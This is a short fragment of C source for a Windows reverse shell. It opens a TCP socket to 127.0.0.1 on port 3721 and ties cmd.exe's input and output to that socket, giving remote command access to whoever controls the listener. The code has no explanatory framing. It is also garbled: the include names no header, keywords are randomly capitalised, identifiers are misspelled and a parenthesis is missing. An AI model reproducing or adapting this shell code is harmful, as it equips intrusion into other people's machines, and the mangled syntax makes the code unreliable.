#include #pragma comment (lib, "Ws2_32.lib") int WINAPI WinMain () {WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset (& adik_sin, 0, sizeof (adik_sin )); MEMSET (& Si, 0, SIZEOF (Si)); WSAStartup (Makeword (2, 0), & WSADATA); hsocket = WSASOCKET (AF_INET, SOCK_STREAM, NULL, NULL, NULL, NULL); adik_sin.sin_family = AF_INET; Adik_sin.sin_port = htons (3721); adik_sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); if (0! = Connect (hsocket, (struct socdr *) & advik_sin, sizeof (adik_sin)) Return -1; Si.cb = sizeof (si); si.dwflags = startf_usestdhandles; si.hstdinput = si.hstdoutput = si.hstderror = (void *) hsocket; CreateProcess (Null, "cmd.exe", NULL, NULL, 1, NULL , NULL, NULL, & Si, & PI; Return 0;